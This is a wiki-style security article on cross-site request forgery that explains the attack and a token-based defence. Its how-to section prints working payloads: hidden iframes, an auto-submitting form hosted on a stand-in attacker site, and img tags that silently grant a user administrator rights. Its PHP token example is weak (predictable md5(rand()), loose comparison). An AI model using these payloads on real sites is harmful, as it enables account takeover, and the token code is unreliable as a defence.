Cross Site Request Forgery
From Hakipedia
Cross-site request forgery (CSRF/XSRF), aka one-click attack, sidejacking or session riding, is a type of malicious exploit of websites.
Contents |
[edit] Description
CSRF attacks can allow an attacker to hijack a victim account, which may result in malicious requests being forged under that account. Proper CSRF exploitation can logout a user, transfer money, change a password, modify information, make posts, change user status; all of which is performed from within the victim account.
Not only is a CSRF attack relatively simple to achieve, but it can be very difficult to detect the attack itself. This is due to the fact that the attacks appear to be performed by a legitimate user.
[edit] Severity
Moderate
[edit] Exploit Likeliness
Very High
[edit] How-To/Information
There are a number of techniques that can be used to perform a CSRF attack. The most common forms of attack are: XSS, IMG tags and Social Engineering.
The XSS method of attack is often simpler provided that an XSS flaw has been found within the target website.
Social Engineering can be harder to achieve as it is essential to gain the victims trust, and create a separate page to exploit the vulnerability.
[edit] The XSS Method
The basic premise of this method is to inject JavaScript into the target site, and execute a query as the victim user. This method is—of course—reliant on an XSS hole existing within the website, and can be used to (for example) promote a user to administrative status.
The following will work if the administrative page uses $_GET() or $_REQUEST() as it's input:
<iframe src='javascript:window.location="http://www.example.com/admin.php?edituser=1337&addgroup=administrator";' height='0' width='0' style='border:0;' />The height, width and style arguments will hide the iframe, so the administrator doesn't suspect anything when the page magically redirects to the admin.php page.
The following will work if the administrative page uses $_POST() as it's input:
1 - Create a web-page hosted somewhere online and use code similar to the following, change the form inputs as necessary:
<html> <body> <form action="" method="post" id="formid"> <input type="hidden" name="attack" value="valuegoeshere" /> </form> <script>document.getElementById('formid').submit();</script> </body> </html>
2 - Embed the page within an iframe on the XSS vulnerable page as follows:
<iframe src='http://www.evilsite.com/csrfrider.php' height='0' width='0' style='border:0;' />This will cause the form to automatically post to the administration page if an administrator loads it. As it's hiding in the iframe, it requires little to no social engineering to get the administrator to load the page.
[edit] IMG Injection
Like embedding the CSRF exploit inside an iframe as outlined in the XSS method, <img /> tags can also be used to hide a CSRF attack. The most common of these attacks are used in bulletin board systems. Avatars and [img] tags often provide little to no checking, and are often a hot-spot for CSRF attack points.
Embedding the CSRF attack within [img] tags will in turn, look like the following within the HTML source:
<img src='http://www.example.com/admin.php?edituser=1337&addgroup=administrator' />When the page is accessed by an authorised user (an administrator), the malicious attack will take place, and the administrator will have no immediate indication that there has been an attack.
Of course, if no XSS flaws are found in the site, and the IMG technique fails, social engineering can always take place. This will require contacting an administrator and getting them to click on a link that will take them a malicious script. This could be simply hiding the $_GET URL with a tinyurl, or requiring the administrator to access your malicious post script. This is a little more risky as it is often more traceable than the previous techniques.
[edit] Protection
While using the POST method for all forms will help to safeguard against CSRF attacks, it is not at all bulletproof. The recommended way to protect against CSRF attacks is to use unique tokens on forms. A token is used within a hidden element in a form to prove that the request is not being forged. Each token is unique to the user, and is stored in the user's session. To set up tokens, use the following code:
session_start(); if( !isset( $_SESSION['token'] ) ) { $token = md5( rand() ); $token = str_split( $token, 10 ); $_SESSION['token'] = $token[0]; }
The above will create the token and store it in the user's session. A hidden value will have to be located in the form input as follows:
<input type='hidden' name='token' value='<?=$_SESSION['token']?>' />The third part of the token check is to add the validation as follows:
if( $_POST['token'] == $_SESSION['token'] ) { /* Token is valid, continue */ }
[edit] References
http://shiflett.org/articles/cross-site-request-forgeries
http://en.wikipedia.org/wiki/Cross-site_request_forgery
http://devlog.info/2007/09/02/cross-site-request-forgeries-csrf/
